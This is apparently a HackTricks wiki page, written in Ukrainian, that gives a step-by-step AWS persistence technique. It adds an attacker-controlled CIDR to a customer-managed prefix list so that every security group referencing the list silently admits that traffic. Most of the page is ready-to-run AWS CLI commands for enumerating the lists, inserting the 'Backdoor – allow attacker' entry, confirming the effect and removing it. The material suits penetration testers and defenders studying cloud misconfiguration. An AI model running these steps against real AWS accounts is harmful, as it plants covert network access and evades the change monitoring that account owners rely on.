AWS - Security Group Backdoor via Managed Prefix Lists

Reading time: 3 minutes

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks

Резюме

Зловживання customer-managed Prefix Lists для створення прихованого шляху доступу. Якщо правило security group (SG) посилається на managed Prefix List, будь-хто з можливістю змінювати цей список може тихо додати attacker-controlled CIDRs. Кожен SG (і потенційно Network ACL або VPC endpoint), який посилається на список, відразу дозволяє нові діапазони без видимих змін у SG.

Вплив

  • Миттєве розширення дозволених IP-діапазонів для всіх SG, що посилаються на Prefix List, обходячи контролі змін, які моніторять лише редагування SG.
  • Дозволяє створювати стійкі ingress/egress backdoors: тримає шкідливий CIDR прихованим у Prefix List, поки правило SG виглядає незмінним.

Вимоги

  • IAM permissions:
  • ec2:DescribeManagedPrefixLists
  • ec2:GetManagedPrefixListEntries
  • ec2:ModifyManagedPrefixList
  • ec2:DescribeSecurityGroups / ec2:DescribeSecurityGroupRules (щоб ідентифікувати прикріплені SG)
  • Необов'язково: ec2:CreateManagedPrefixList якщо створюється новий для тестування.
  • Середовище: щонайменше одне правило SG, що посилається на цільовий customer-managed Prefix List.

Змінні

bash
REGION=us-east-1
PREFIX_LIST_ID=<pl-xxxxxxxx>
ENTRY_CIDR=<attacker-cidr/32>
DESCRIPTION="Backdoor – allow attacker"

Кроки атаки

  1. Перелічити потенційні prefix lists та їхніх споживачів
bash
aws ec2 describe-managed-prefix-lists \
--region "$REGION" \
--query 'PrefixLists[?OwnerId==`<victim-account-id>`].[PrefixListId,PrefixListName,State,MaxEntries]' \
--output table

aws ec2 get-managed-prefix-list-entries \
--prefix-list-id "$PREFIX_LIST_ID" \
--region "$REGION" \
--query 'Entries[*].[Cidr,Description]'

Use aws ec2 describe-security-group-rules --filters Name=referenced-prefix-list-id,Values=$PREFIX_LIST_ID, щоб підтвердити, які правила SG залежать від цього prefix list.

  1. Додати attacker CIDR до prefix list
bash
aws ec2 modify-managed-prefix-list \
--prefix-list-id "$PREFIX_LIST_ID" \
--add-entries Cidr="$ENTRY_CIDR",Description="$DESCRIPTION" \
--region "$REGION"
  1. Перевірте поширення на групи безпеки
bash
aws ec2 describe-security-group-rules \
--region "$REGION" \
--filters Name=referenced-prefix-list-id,Values="$PREFIX_LIST_ID" \
--query 'SecurityGroupRules[*].{SG:GroupId,Description:Description}' \
--output table

Трафік з $ENTRY_CIDR тепер дозволено скрізь, де посилаються на список префіксів (зазвичай у вихідних правилах на проксі вихідного трафіку або у вхідних правилах для спільних сервісів).

Докази

  • get-managed-prefix-list-entries відображає CIDR зловмисника та опис.
  • describe-security-group-rules все ще показує початкове правило SG, яке посилається на список префіксів (зміни в SG не зафіксовано), однак трафік з нового CIDR проходить.

Очищення

bash
aws ec2 modify-managed-prefix-list \
--prefix-list-id "$PREFIX_LIST_ID" \
--remove-entries Cidr="$ENTRY_CIDR" \
--region "$REGION"

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks